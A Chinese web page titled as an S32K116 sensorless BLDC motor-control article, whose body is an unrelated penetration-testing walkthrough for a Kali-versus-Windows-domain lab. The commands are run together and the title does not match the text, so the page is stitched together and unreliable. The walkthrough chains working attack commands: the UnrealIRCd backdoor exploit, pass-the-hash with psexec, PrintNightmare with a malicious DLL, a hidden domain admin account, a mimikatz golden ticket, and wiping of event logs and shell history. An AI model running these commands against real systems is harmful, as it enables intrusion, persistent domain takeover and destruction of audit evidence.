基于S32K116的无感BLDC电机控制:从BEMF原理到双闭环实践
2026/6/8 16:38:56
本清单以“外网突破→内网信息收集→横向移动→权限提升→持久化”为核心流程,使用 Kali Linux 作为攻击机,Metasploitable 2(Linux 靶机)+ Vulhub Windows 域环境靶机作为目标,全程手把手指导。
| 设备 | 系统版本 | IP 规划(建议同一内网段) | 核心作用 |
|---|---|---|---|
| 攻击机 | Kali Linux 2025 | 192.168.56.101 | 执行扫描、漏洞利用、横向移动 |
| 外网跳板机 | Metasploitable 2 | 192.168.56.102 | 模拟外网 Web 服务器,作为内网入口 |
| 内网域靶机 | Windows Server 2019(AD) | 192.168.56.103 | 域控制器(DC),域名为test.com |
| 内网普通主机 | Windows 10 | 192.168.56.104 | 域内普通主机,加入test.com域 |
msfadmin/msfadmingit clone https://github.com/vulhub/vulhub.gitvulhub/windows/ad)docker-compose up -dnmap -sV -p- 192.168.56.102msfconsolesearch unrealircduse exploit/unix/irc/unrealircd_3281_backdoorset RHOSTS 192.168.56.102runmsfadmin。ipconfig,发现跳板机内网网卡 IP 为192.168.56.102,推测内网段为192.168.56.0/24。run post/multi/gather/ping_sweep RHOSTS=192.168.56.0/24192.168.56.103(DC)、192.168.56.104(Windows 10)。run auxiliary/scanner/portscan/tcp RHOSTS=192.168.56.103 PORTS=135,139,445,389shellbash
运行
python3 /usr/share/doc/python3-impacket/examples/net.py user /domain -target-ip 192.168.56.103administrator、user1等。run post/windows/gather/hashdumplinpeas.sh提取凭证:bash
运行
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh chmod +x linpeas.sh ./linpeas.shuser1的 NTLM 哈希:aad3b435b51404eeaad3b435b51404ee:1234567890abcdef1234567890abcdefbash
运行
python3 /usr/share/doc/python3-impacket/examples/psexec.py test.com/user1@192.168.56.104 -hashes aad3b435b51404eeaad3b435b51404ee:1234567890abcdef1234567890abcdefnet group "Domain Admins" /domainadministrator。git clone https://github.com/cube0x0/CVE-2021-34527.gitbash
运行
impacket-smbserver share . -smb2supportnet use \\192.168.56.101\shareCVE-2021-34527.exe \\192.168.56.101\share\malicious.dllcmd
net user hidden_admin P@ssw0rd! /add /domain net group "Domain Admins" hidden_admin /add /domainbash
运行
mimikatz.exe "lsadump::lsa /inject /name:krbtgt" exitbash
运行
mimikatz.exe "kerberos::golden /domain:test.com /sid:S-1-5-21-xxxxxx /krbtgt:哈希值 /user:backdoor /ptt" exitcmd
wevtutil cl System wevtutil cl Security wevtutil cl Applicationbash
运行
echo "" > /var/log/auth.log echo "" > /var/log/syslog history -c && history -wapt update && apt upgrade升级。